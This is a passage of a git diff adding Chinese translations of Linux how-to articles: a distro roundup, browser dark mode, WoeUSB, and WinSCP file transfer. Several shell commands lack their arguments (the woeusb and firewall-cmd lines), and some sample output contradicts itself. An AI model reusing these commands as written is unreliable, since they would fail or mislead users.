软件包并不是一个好主意。我发现一次性更新后,软件包之间的依赖关系被破坏了,所以请确保只更新你想要更新的软件包。 + +如果你还有其他的疑问,就请在评论区中留言吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/upgrade-pip-packages/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-pip-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/09/outdated-packages.png +[3]: https://itsfoss.com/wp-content/uploads/2022/09/update-anime-api.png +[4]: https://www.debian.org/ +[5]: https://itsfoss.com/wp-content/uploads/2022/09/upgrade-xdg-to-specific-iteration.png +[6]: https://itsfoss.com/wp-content/uploads/2022/09/upgrade-everything.png +[7]: https://linuxhandbook.com/xargs-command/ diff --git a/published/202211/20221027.6 ⭐️⭐️ Top 10 Linux Distributions for Programmers in 2022 [Featured].md b/published/202211/20221027.6 ⭐️⭐️ Top 10 Linux Distributions for Programmers in 2022 [Featured].md new file mode 100644 index 0000000000..82419d578b --- /dev/null +++ b/published/202211/20221027.6 ⭐️⭐️ Top 10 Linux Distributions for Programmers in 2022 [Featured].md @@ -0,0 +1,225 @@ +[#]: subject: "Top 10 Linux Distributions for Programmers in 2022 [Featured]" +[#]: via: "https://www.debugpoint.com/top-linux-distributions-programmers-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15275-1.html" + +适合程序员的十大 Linux 发行版(2022 版) +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/21/153625z44s41qcviv5ckip.jpg) + +> 我们点评了为程序员和开发人员提供的十大最佳 Linux 发行版(2022 版),以帮助他们完成工作和个人项目。 + +程序员和开发人员在其工作或项目中会使用各种工具和应用程序,包括代码编辑器、编程语言编译器、附加组件、数据库等。如果你对现代开发者的工作流程进行分类,它包含以下典型的工作流程: + +- 访问代码库 +- 编程 +- 调试 +- 测试 +- 部署 + +而这种典型的工作流程可能需要各种工具。一个标准的清单可能是这样的: + +- 代码编辑器 +- 简单的文本编辑器 +- 网页浏览器(网页开发者需要所有变体) +- 数据库引擎 +- 一个本地服务器 +- 编程语言相应的编译器 +- 调试器 +- 监测或剖析工具(可执行文件或网络版) + +可以说,与 Windows 相比,Linux 是编程的最佳选择。(出于几个原因,我在本文中不对 macOS 进行比较。)Linux 是最佳选择的主要原因是,与 Windows 相比,在 Linux 发行版中已经预装具有现代技术的软件包和应用程序,或非常容易安装。 + +因此,在这篇文章中,我们想列出 2022 年最适合程序员的 Linux 发行版。 + +### 2022 年适合程序员的十大 Linux 发行版 + +#### 1、Fedora Workstation + +![Fedora 35 Workstation][1] + +也许这个名单中最完美的 Linux 发行版是 Fedora Linux。它用于桌面的默认 Workstation 版通过其选择的软件包带来了正宗的 GNOME 桌面体验。 + +Fedora Linux 的默认安装为你提供了所有主要的开发包,开箱即用。它们包括 PHP、OpenJDK、PostgreSQL、Django、Ruby on Rails、Ansible 等。 + +通过 dnf 软件包管理器安装更多的应用程序是非常简单的,如 VS Code 编辑器和其他软件包。你也可以借助“软件Software”应用来安装,这是一个应用商店,你只需点击一个按钮就可以搜索和安装应用程序。 + +Fedora Linux 支持 Snap 和 Flatpak,这给了你更多的灵活性。你也可以利用 Fedora 中的 RPM Fusion 仓库,这个仓库让你可以访问许多自由和非自由的软件包。由于许可证和其他明显的原因,Fedora Linux 不想在他们的主仓库中包括这些包。 + +你可以在下面的官网上查看最新的 Fedora Linux。 + +> **[下载 Fedora][2]** + +#### 2、Ubuntu Linux + +![Ubuntu 桌面是一个适合程序员的完美的Linux发行版][3] + +本列表中的第二个 Linux 发行版是 Ubuntu Linux。Ubuntu Linux 是目前在服务器和桌面上使用最多的 Linux 发行版。Ubuntu 提供长期支持(LTS)版本,有五年的官方支持(另外还有五年的维护支持),期间还有短期支持版本供高级用户使用。 + +由于它很流行,所有最新的软件包和应用程序供应商都提供 Ubuntu(.deb)版本。因其流行,也带来了论坛和文档的大量支持,这对开发者来说是完美的,特别是当你在开发阶段被错误困住的时候。在下面的链接中了解更多关于 Ubuntu 的信息。 + +> **[下载 Ubuntu][4]** + +#### 3、openSUSE + +openSUSE 是全球在关键系统中使用的最稳定和最专业的 Linux 发行版之一。这个 Linux 发行版是企业级工作负载的首选解决方案之一,包括台式机、服务器和瘦客户机。 + +它比 Ubuntu 和 Fedora 有一些优势。首先,它有两个变种:Leap 和 Tumbleweed。openSUSE Leap 是一个长期支持版本(LTS),提供最新的稳定性。openSUSE Tumbleweed 是一个滚动发布的软件,提供尖端的软件包。 + +如果你的开发需要最新的软件包和硬件支持,那么 Tumbleweed 就是你的选择。如果你需要稳定性和一个运行时间较长、维护量较小的系统,请选择 openSUSE Leap。 + +使用 openSUSE 进行开发工作的优势之一是其软件包管理器 YaST。使用 YaST 软件包管理器,你可以轻松地将许多事情自动化。 + +除此之外,openSUSE 的软件交付方式也很出色。它的软件门户在网上,你可以访问它,搜索一个软件包,然后点击安装。 + +如果与新用户相比,你对 Linux 有一定的经验,请选择 openSUSE 进行开发工作。 + +> **[下载 openSUSE][5]** + +#### 4、Manjaro Linux + +Manjaro Linux 是一个基于 Arch Linux 的发行版,它使 Arch 的安装变得简单。它基于 Arch Linux,但带来了一些功能,如像 Ubuntu 或 Linux Mint 那样的图形化安装程序、 pamac 安装程序、精心策划的软件仓库等。Manjaro 有三种主要的桌面风格:GNOME、KDE Plasma 和 Xfce,可以满足几乎所有用户的需求。 + +如果你想用 Arch Linux 和它的滚动发布包来满足你的开发需求,但又不想陷入安装原生 Arch 的麻烦,Manjaro 是你的完美选择。 + +> **[下载 Manjaro][6]** + +#### 5、Arch Linux + +虽然 Manjaro 和其他基于 Arch 的易于安装的 Linux 发行版已经出现,但你可能还是想用 [原生 Arch][7] 来亲手定制你的桌面。 + +这更多的是针对那些想要更多控制权和为项目或需求建立自定义 Linux 操作系统的资深开发者或程序员。在这些情况下,你可能想用你最喜欢的桌面安装 Arch Linux 来设置你的开发操作系统。 + +假设你对 Arch Linux 和计算机有一定的经验。在这种情况下,这是所有选择中最好的,因为它可以让你完全控制定制的 Linux 操作系统中的每个软件包。 + +> **[下载 Arch Linux][8]** + +#### 6、Pop OS + +Pop OS(写作 Pop!_OS )是由计算机制造商 System76 为其系列硬件开发的。Pop OS 是自由开源的,基于 Ubuntu。它遵循 Ubuntu 的发布周期,同时带来额外的调整,以及为用户定制的软件包。 + +![Pop OS 21.10 桌面 Linux 发行版][9] + +Pop OS 是程序员的完美选择,因为它原生支持许多 Ubuntu 支持的编程语言。它因其打造的软件中心而在计算机科学家和程序员中广受欢迎,该软件中心有一个专门的部分介绍开发和编程的应用程序。 + +除此之外,Pop OS 中的 COSMIC 桌面(一个定制的 GNOME 桌面)为程序员提供了独特的体验,包括自动平铺、可爱的调色板、原生的深色模式和丰富的设置。 + +如果你需要一个基于 Ubuntu、稳定的、并对程序员友好的 Linux 发行版,那么请选择 Pop OS。 + +> **[下载 POP OS][10]** + +#### 7、KDE Neon + +如果你是一个很习惯 KDE Plasma 桌面的开发者,并且想要一个基于 Qt 的开发环境,那么 KDE Neon 就非常适合你。 + +KDE Neon 是一个基于 Ubuntu LTS 版本的 Linux 发行版,带有最新的 KDE Plasma 桌面和 KDE 框架包。因此,在 KDE Neon 中,你可以得到 Ubuntu LTS 的稳定性和带有 Qt 的最新 KDE 软件包。 + +如果你需要一个拥有开箱即用的应用程序的快速系统、一个友好的用户界面和巨大的社区支持,这是一个完美的 Linux 发行版。 + +> **[下载 KDE Neon][11]** + +#### 8、Debian + +Debian GNU/Linux 无需介绍。Debian 的稳定分支是 Ubuntu 及其所有衍生品的基础。因此,它是主要和稳定的 Linux 之一。它是你的开发环境的完美选择,因为它为你提供了终极稳定性和多年的支持。 + +不过,Debian 的稳定分支在采用最新软件包方面略显保守。Debian 的维护者会仔细检查和合并软件包,因为整个世界(嗯,几乎)都依赖于 Debian 的稳定性。 + +对于高级用户和系统管理员来说,如果你想要一个稳定的、长期运行的开发环境,并且维护工作量较少,那么它是一个完美的编程环境。 + +> **[下载 Debian Linux][12]** + +#### 9、Kali Linux + +Kali Linux 是由 Offensive Security 开发的,主要针对寻找网络漏洞的道德黑客和渗透测试人员。它预装了大量的黑客工具和应用程序。 + +如果你有足够的经验,它可以成为程序员和开发人员的一个完美的 Linux 发行版。如果你对 Linux 很熟悉,并且在处理错误和依赖关系方面有一定的经验,就可以选择 Kali Linux。 + +> **[下载 Kali Linux][13]** + +#### 10、Fedora 实验室 + +而这个名单上的最后一个 Linux 发行版是 Fedora Linux 的发行版组合。 + +Fedora 实验室Labs为程序员、科学家和学生提供了专门策划的 Linux 发行版,并预装了应用程序、相应的软件包和实用程序。很多人都不知道这些,如果配置得当,它们可以作为完美的现成 Linux 发行版为你服务。 + +下面是对它们的总结: + +**Fedora 科学** + +- 科学和数值开源工具与 KDE Plasma 桌面的结合 +- 应用列表包括: + - 用于 C/C++ 的 GNU 科学库 + - 与 MATLAB 兼容的 MGNU Octave + - LaTeX + - Maxima 计算机代数系统 + - 用于绘制二维和三维图形的 Gnuplot + - 用于数据科学的 Pandas Python 库 + - IPython + - 用于 Java 和 R 编程语言的软件包 +- 关于 Fedora 科学,[在此下载][14] 和了解更多。 + +**Fedora 计算神经科学** + +- 带有 GNOME 桌面环境的开源神经科学应用程序和软件包。 +- 了解更多并 [在此下载][15]。 + +**Fedora 机器人套件** + +- 这个完美的 Linux 发行版结合了最好的开源机器人应用程序和软件包,针对初级和经验丰富的机器人科学家和程序员。 +- 了解更多并 [在此下载][16]。 + +来自 Fedora Linux 的**其他解决方案**包括 [Fedora 安全实验室][17]、[Fedora 天文学][18] 和 [Fedora Python 教室][19],你或许想看看这些解决方案。 + +这些 Fedora 实验室选项可以成为编程项目或在特定科学领域工作的完美 Linux 发行版。 + +### 总结 + +那么,你如何在这份最适合程序员的 Linux 发行版名单中选择你的最爱? + +如果你不确定,并希望以最小的努力来建立和运行一个开发系统,那就选择 Fedora Workstation 或 Ubuntu。 + +如果你有空闲时间,或者想对你的系统有更多的控制,喜欢做实验,对偶尔出现的错误也不在意,那么就选择基于 Arch Linux 的系统。 + +对于刚进入 Linux 生态系统的新开发者来说,Pop OS 也是一个不错的选择。对于特定的需求,请到 Fedora 实验室选择。 + +我希望这份 2022 年最适合程序员的 Linux 发行版清单能给你一些指导,让你选择最喜欢的 Linux 发行版进行编程和开发。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/top-linux-distributions-programmers-2022/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/11/Fedora-35-Workstation.jpg +[2]: https://getfedora.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/Ubuntu-Desktop-is-a-perfect-Linux-Distribution-for-Programmers.jpg +[4]: https://ubuntu.com/download +[5]: https://www.opensuse.org/ +[6]: https://manjaro.org/download/ +[7]: https://www.debugpoint.com/2022/01/archinstall-guide/ +[8]: https://archlinux.org/download/ +[9]: https://www.debugpoint.com/wp-content/uploads/2021/12/Pop-OS-21.10-Desktop.jpg +[10]: https://pop.system76.com/ +[11]: https://neon.kde.org/download +[12]: https://www.debian.org/distrib/ +[13]: https://www.kali.org/ +[14]: https://labs.fedoraproject.org/en/scientific/ +[15]: https://labs.fedoraproject.org/en/comp-neuro/ +[16]: https://labs.fedoraproject.org/en/robotics/ +[17]: https://labs.fedoraproject.org/en/security +[18]: https://labs.fedoraproject.org/en/astronomy +[19]: https://labs.fedoraproject.org/en/python-classroom diff --git a/published/202211/20221030.0 ⭐️ How to Enable Dark Mode in Web Browser.md b/published/202211/20221030.0 ⭐️ How to Enable Dark Mode in Web Browser.md new file mode 100644 index 0000000000..733c174ab8 --- /dev/null +++ b/published/202211/20221030.0 ⭐️ How to Enable Dark Mode in Web Browser.md @@ -0,0 +1,104 @@ +[#]: subject: "How to Enable Dark Mode in Web Browser" +[#]: via: "https://www.debugpoint.com/dark-mode-browser/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15226-1.html" + +如何在 Web 浏览器中启用深色模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/08/110615dax28a8fhx13hxhi.jpg) + +> 本指南旨在帮助你在 Firefox、Chrome、Chromium 和 Edge 等流行的网页浏览器中启用深色模式。 + +我们都喜欢深色模式。与标准浅色模式相比,许多人更喜欢它。许多桌面应用原生提供深色模式,而一些应用则是通过桌面环境的底层模式适应深色模式。 + +不可否认,我们都在网页浏览器上花费了很多时间。我们很少使用桌面应用(除非你从事专门的工作,例如视频编辑等)。因此,当你花费大量时间在浏览器中阅读和学习时,你始终可以选择深色模式。不过,对于网页浏览器,启用深色模式的方法略有不同。 + +本指南为你提供了在 Firefox、Chromium、Chrome 和 Edge 浏览器中启用深色模式的简单步骤。 + +### 在网页浏览器中启用深色模式 + +#### 在 Firefox 中启用深色模式 + +打开 Firefox 并点击右上角的菜单。 + +单击 “设置Settings > 扩展和主题Extension and Themes”。 + +选择 “深色主题Dark Theme” 并点击 “启用enable”。你应该会看到深色模式已应用于 Firefox。 + +![Enable dark mode in Firefox][1] + +*在 Firefox 浏览器中启用深色模式* + +![Firefox in Dark Mode][2] + +*深色模式下的 Firefox* + +要将其还原,请按照相同的步骤并选择浅色主题。 + +#### Chromium 和 Chrome 中的深色模式 + +默认情况下,Chromium 或 Chrome 不会预安装任何深色主题。因此,你需要前往 Chrome 应用商店并下载你想要的深色主题。对于本指南,我会推荐超过一百万用户使用的 “Morpheon Dark” 主题。 + +从 Chromium 浏览器打开 Morpheon Dark 主题页面(以下链接)。 + +> **[Chrome 应用商店中的 Morpheon Dark 主题][3]** + +点击 “添加到 ChromeAdd To Chrome” 按钮。它应该会在 Chrome 中启用。 + +你可能想探索 Chrome 应用店中提供的其他深色或浅色主题。 [访问此页面获取所有深色主题的集合][4]。 + +但是,你应该要记住的一件事是:此主题不会更改设置或上下文菜单,这是显而易见的。因为它只是改变了浏览器窗口,而这些菜单(有时)是操作系统本身的一部分。 + +![Chromium Dark Theme][5] + +*Chromium 深色主题* + +对 Chrome 浏览器也遵循相同的步骤。 + +#### Edge 浏览器 – 深色模式 + +但是,[Edge 浏览器][6] 默认带有更好的深色主题。它允许你从设置中使用 GTK+、浅色和深色模式。 + +打开 Edge 浏览器,点击右上角的三个小点。 + +转到 “外观Appearance” 并选择 “深色Dark”。这样应该就好了。 + +Edge 的这种深色主题实现更好,因为它改变了上下文菜单和地址栏。 + +![Edge in Dark Theme][7] + +*深色主题的 Edge* + +### 总结 + +如果你是高级用户,你可能不需要本指南。你可以自己弄清楚。 + +但我们为所有读者涵盖了所有基础到高级教程。许多新的 Linux 用户可能不知道如何在浏览器中启用深色模式。 + +所以,就是说,我希望这对你和其他人有帮助。如果你遇到任何问题,请在下面的评论框中告诉我。 + +--- + +via: https://www.debugpoint.com/dark-mode-browser/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/10/Enable-dark-mode-in-Firefox.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/10/Firefox-in-Dark-Mode-1024x423.jpg +[3]: https://chrome.google.com/webstore/detail/morpheon-dark/mafbdhjdkjnoafhfelkjpchpaepjknad?hl=en-GB +[4]: https://chrome.google.com/webstore/category/collection/dark_themes +[5]: https://www.debugpoint.com/wp-content/uploads/2021/10/Chromium-Dark-Theme-1024x463.jpg +[6]: https://www.debugpoint.com/2020/10/how-to-install-edge-ubuntu-linux/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/10/Edge-in-Dark-Theme-1024x541.jpg diff --git a/published/202211/20221030.2 ⭐️⭐️ Install WoeUSB on Ubuntu to Create a Bootable Windows USB.md b/published/202211/20221030.2 ⭐️⭐️ Install WoeUSB on Ubuntu to Create a Bootable Windows USB.md new file mode 100644 index 0000000000..4ec2ffed02 --- /dev/null +++ b/published/202211/20221030.2 ⭐️⭐️ Install WoeUSB on Ubuntu to Create a Bootable Windows USB.md @@ -0,0 +1,190 @@ +[#]: subject: "Install WoeUSB on Ubuntu to Create a Bootable Windows USB" +[#]: via: "https://itsfoss.com/install-woeusb-ubuntu/" +[#]: author: "Sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15217-1.html" + +在 Ubuntu 上安装 WoeUSB 来创建一个可启动 Windows USB +====== + +> 想在 Linux 上创建一个可启动 Windows USB ?Ventoy 是一个很好的选择。 + +但是,在 Ventoy 出道之前,WoeUSB 是用于创建可启动 Windows USB 的首选工具。原版 WoeUSB 工程在 2014 年左右香消玉损。 + +鉴于其流行程度,一位新的开发者接过了将其起死回生的任务。因此,WoeUSB-ng 诞生了。在这里,“ng” 是 新生代new generation 的缩写。换句话说,[WoeUSB-ng][1] 是新生代的 WoeUSB 。但是,因为原版的工具已经不存在了,我将 WoeUSB-ng 描述为 WoeUSB 。 + +在这篇教程中,我将向你展示如何在 Ubuntu Linux 上安装 WoeUSB 。我也将分享使用 WoeUSB 来创建可启动 Windows USB 的步骤。 + +但是,在此之前,让我们快速查看这个令人惊叹的工具的特色。 + +### WoeUSB + +![install woeusb ubuntu][2] + +WoeUSB 是一个简单的工具,其唯一的目的是 [在 Linux 上创建可启动 Windows USB][3] 。 + +原版 WoeUSB 是一个 shell 脚本。这个原版 WoeUSB 被使用 Python 重写为 WoeUSB-ng ,它可以安装在你的系统上,并且通过命令行或 GUI 界面。 + +特色: + +- 支持老式 PC 启动或 UEFI 启动 +- 支持 FAT32 和 NTFS 文件系统 +- 支持使用物理安装盘或磁盘镜像作为源 +- 它可以用于 Windows Vista 及其更高版本的任意语言或变体版本 +- 老式的 MBR/IBM PC 兼容启动模式 +- 本机 UEFI 启动支持 Windows 7 及其更高版本的镜像(仅限于将 FAT 文件系统作为目标的情况) + +### 在 Ubuntu 和其它的 Linux 发行版上安装 WoeUSB + +Arch Linux 用户可以从 AUR 安装 WoeUSB-ng 。 + +对于其它的发行版,可以使用 PIP 来安装 WoeUSB 。毕竟,它是一个 Python 应用程序。在这里,我将为 Ubuntu/Debian 提供一些命令。 + +为安装 WoeUSB-ng ,你首先需要 [安装 PIP][4] 和其它必要的依赖项。 + +``` +sudo apt install git p7zip-full python3-pip python3-wxgtk4.0 grub2-common grub-pc-bin +``` + +在这之后,你可以安装 WoeUSB-ng ,通过运行: + +``` +sudo pip3 install WoeUSB-ng +``` + +对于所有的其它安装,你可以参考其 [操作指南][5] 。 + +> **[WoeUSB-ng][1]** + +### 前提条件: 获取 Windows 的 ISO 文件和一个兼容的 USB 磁盘 + +这一点没有什么需要说的。你需要有一个你将要安装的 Windows 版本的 ISO 文件。 + +从微软的网站,你应该能够获取 Windows 10 和 11 的ISO 文件。 + +> **[下载 Windows][6]** + +如果你有较旧的 Windows 版本的 ISO 文件,也可以使用它们。 + +除此之外,你需要有一个至少 8 GB 大小的 USB 驱动器磁盘。你应该使用 NTFS 的文件系统来格式化它filesystem. + +### 方法 1: 使用图形用户界面化的 WoeUSB 来创建一个可启动的 Windows USB(推荐) + +从 活动概述activity overview 或菜单中打开 woeusb-gui 。 + +![woeusb in ubuntu activities overview][7] + +在应用程序窗口中,选择下载的 Windows ISO 和所希望的 USB 驱动器,如截屏所示,然后按下 安装Install 按钮。 + +![woeusb gui setup][8] + +在应用程序中也其它可用的调整,可以通过顶部的菜单栏来访问使用。 + +在按下“安装”按钮后,woeUSB 将开始格式化和复制文件。你需要等待一些时间,因为这里有大约 6 GB 的文件需要复制。 + +![woeusb writing windows iso to the usb drive][9] + +在复制完成后,WoeUSB 将会提示一个成功的对话框。你现在可以安全地弹出 USB 驱动器,并将其作为一个可启动 USB 驱动器来使用。 + +![woeusb completed writing and gives a success message][10] + +### 方法 2: 从终端中使用 WoeUSB(针对专家) + +WoeUSB-ng 软件包也提供一个名称为 `woeusb` 的命令行实用程序。 + +为使用 WoeUSb 来创建一个可启动的 Windows USB ,你需要运行下面的命令: + +``` +sudo woeusb --device --target-filesystem ntfs +``` + +在这里,`--device` 标识用于擦除 USB 和从零开始创建一个可启动 USB 驱动器。同样,`--target-filesystem` 标识用于设置为 NTFS ,来避免将要复制的文件大小超过 FAT 文件系统的限制。 + +![woeusb commandline][11] + +该过程将花费一些时间来完成复制。在完成复制后,它将显示一条成功的信息。 + +![woeusb commandline success message][12] + +此时,你可以安全地弹出 USB 驱动器,并在其它的个人电脑上将其作为一个 Windows 可启动 USB 来使用。 + +### 超值: 使用 WoeUSB 的 Bash Shell 脚本(针对专家) + +WoeUSB 也提供一个 Bash Shell 脚本,在你的系统上,它不需要安装任何东西就可以使用。 + +首先,你需要从 [该工程的发布版本页面][13] 下载 Shell 脚本。 + +在 [执行 Shell 文件][14] 之前,你需要获取所需要的依赖项。为安装它,运行: + +``` +sudo apt install wimtools +``` + +现在,通过文件管理器或通过命令行来使它可执行。 + +![make woeusb script executable][15] + +或者,你可以运行 `chmod +x ` 来使它可执行。现在,运行已下载目录中的 `./woeusb-5.2.4.bash -h` 来获取帮助。 + +为创建一个现场 USB ,该进程类似于 woeusb-ng 的命令行部分,但是你没有安装任何东西。 + +因此,在一个终端中,运行: + +``` +sudo --device --target-filesystem ntfs +``` + +这将开始将 ISO 写入 USB 驱动器,如下面的截屏所示: + +![woeusb bash script running without installation][16] + +在完成后,你可以安全地弹出 USB 驱动器,并将其作为可启动 USB 使用。 + +### 移除 WoeUSB + +如果你使用 PIP 安装 WoeUSB ,你也可以类似地移除它: + +``` +pip3 uninstall WoeUSB-ng +``` + +你可以在你的系统上保留或移除已安装的依赖项。这完全取决于你。我建议保留它们。 + +### 总结 + +大约 10 年前,WoeUSB 是一个非常流行的工具。其他人以另外一种形式将其复活是很好的,这就是开源的艺术。 + +我希望这篇教程会帮助你。如果通过 WoeUSB 创建的 Windows USB 不能按部就班地工作,你可以 [尝试使用 Ventoy][3] 。享受它。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-woeusb-ubuntu/ + +作者:[Sreenath][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://github.com/WoeUSB/WoeUSB-ng +[2]: https://itsfoss.com/wp-content/uploads/2022/10/install-woeusb-ubuntu.png +[3]: https://itsfoss.com/bootable-windows-usb-linux/ +[4]: https://itsfoss.com/install-pip-ubuntu/ +[5]: https://github.com/WoeUSB/WoeUSB-ng#installation +[6]: https://www.microsoft.com/en-in/software-download/ +[7]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-in-ubuntu-activities-overview.png +[8]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-gui-setup.png +[9]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-writing-windows-iso-to-the-usb-drive.png +[10]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-completed-writing-and-gives-a-success-message.png +[11]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-commandline.png +[12]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-commandline-success-message.png +[13]: https://github.com/WoeUSB/WoeUSB/releases/tag/v5.2.4 +[14]: https://itsfoss.com/run-shell-script-linux/ +[15]: https://itsfoss.com/wp-content/uploads/2022/10/make-woeusb-script-executable.png +[16]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-bash-script-running-without-installation.png diff --git a/published/202211/20221101.1 ⭐️⭐️ Transfer files and folders from Windows to Linux with WinSCP.md b/published/202211/20221101.1 ⭐️⭐️ Transfer files and folders from Windows to Linux with WinSCP.md new file mode 100644 index 0000000000..dab44cba47 --- /dev/null +++ b/published/202211/20221101.1 ⭐️⭐️ Transfer files and folders from Windows to Linux with WinSCP.md @@ -0,0 +1,115 @@ +[#]: subject: "Transfer files and folders from Windows to Linux with WinSCP" +[#]: via: "https://opensource.com/article/22/11/transfer-files-folders-windows-linux-winscp" +[#]: author: "Paul https://opensource.com/users/plaubscher" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15297-1.html" + +使用 WinSCP 将文件和文件夹从 Windows 传输到 Linux +====== + +![][0] + +> 如果你正在寻找一种快速的从你的 Windows 计算机传输文件到你的 Linux 计算机的方法,那么开源的 WinSCP 实用程序会使其很容易地通过网络传输文件或文件夹。 + +有时,你需要通过文件传输文件。有很多文件共享服务,但是大多数的共享服务都要求你发送你的文件到互联网上。当两台计算机并排在一起或在一栋建筑物中时,通过互联网传输文件,这似乎看起来绕了很远的路(更不用说隐私问题)。开源的 WinSCP 实用程序会使其很轻易地通过网络将一个文件或一个文件夹从你的 Windows 计算机传输到你的 Linux 计算机。 + +### IP 地址 + +在你可以传输之前,你必须知道目标计算机的 IP 地址或完全限定域名。假设它是一台在你的同一个网络上的计算机,并且你没有运行 DNS 服务器来解析计算机名称,你可以在 Linux 计算机上使用 `ip` 命令来找到目标 IP 地址: + +``` +[linux]$ ip addr show |grep 'inet ' +inet 127.0.0.1/8 scope host lo   +inet 192.168.1.23/24 brd 10.0.1.255 scope global noprefixroute eth0 +``` + +`127.0.0.1` 是一个 环回地址loopback address ,计算机仅使用它来自我通信,因此在这个示例中,正确的地址是 `192.168.1.23` 。在你的系统中,IP 地址可能会看起来有所不同。如果你不确定哪个是哪个,你可以逐个尝试到你找到正确的 IP 地址 (然后,在一些地方写下来!) + +或者,你可以查找你的路由器设置,它列出了所有通过 DHCP 分配的地址。 + +### 防火墙和地址 + +`WinSCP` 命令使用 OpenSSH 协议,因此,你的 Linux 计算机必需运行 OpenSSH 服务器软件,并且你的 Linux 计算机的防火墙必需允许 SSH 通信。 + +如果你不确定你的 Linux 机器是否在运行 SSH ,那么在 Linux 机器的终端上运行这个命令: + +``` +[linux]$ sudo systemctl enable --now sshd +``` + +为确保你的防火墙允许 SSH 通信,运行这个命令: + +``` +[linux]$ sudo firewall-cmd --add-servicessh--permanent +``` + +关于 Linux 上的防火墙的更多信息,阅读 [增强 Linux 防火墙][1] 。 + +### 使用 WinSCP + +WinSCP 是一款针对微软 Windows 的开源 SSH 文件传输应用程序。为使用它,你必须先 [下载][2] 和 [安装][2] 它。 + +在你安装完成后,打开 WinSCP ,并在 “文件协议File Protocol” 字段中选择 “SCP” 选项。 + +在 “主机名称Host name” 字段中添加你的 Linux 计算机的 IP 地址或 DNS 名称,并在 “端口号Port number” 字段中输入 **22** 。针对该 Linux 计算机,输入你的用户名称和密码,然后单击 WinSCP 窗口底部的 “登录Login” 按钮。 + +![Image of the WinSCP login window.][3] + +验证你是否获取了登录 Linux 计算机的身份授权。在验证成功后,你的 Linux 计算机的 IP 地址或 DNS 名称将显示在窗口的顶部。 + +![Image of a WinSCP window showing where IP adress is located.][4] + +现在,你可以从左侧的 Windows 面板中拖拽一个文件(如示例,我使用 `winscp-test.txt` 文件)到右侧的目标 Linux 计算机目标,接下来文件会传输。 + +![Image of drag and drop window in WinSCP.][5] + +或者,你可以在左侧的面板中右键单击一个文件,然后上传它到右侧的远程目标的面板。 + +![Image of a right click option to upload files in WinSCP.][6] + +### 验证副本 + +打开一个 Linux 终端,然后使用 `ls` 命令来查看已传输的 `winscp-test.txt` 文件。在我的示例中,它出现在我的主目录, `/home/sysadmin` 。 + +``` +$ ls +Desktop +Documents +Downloads +Music +Pictures +pscp-test.txt[...] +``` + +你已经通过网络成功地将一个文件从一台 Windows 计算机传输到一台 Linux 计算机! + +当然,你也可以使用类似上述的技术,将文件和文件夹从一台 Linux 计算机传输到一台 Windows 计算机。 + +### 远程复制 + +使用强大的开源 WinSCP 应用程序,你可以访问在你家中或工作场所的任意一台计算机、你拥有账户的服务器、甚至是移动设备、[边缘设备][7]、物联网设备。使用这个极好的工具来传输文件就像你在本地目录下将一个文件复制到另一个本地目录一样容易! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/transfer-files-folders-windows-linux-winscp + +作者:[Paul][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/plaubscher +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[2]: https://sourceforge.net/projects/winscp/files/ +[3]: 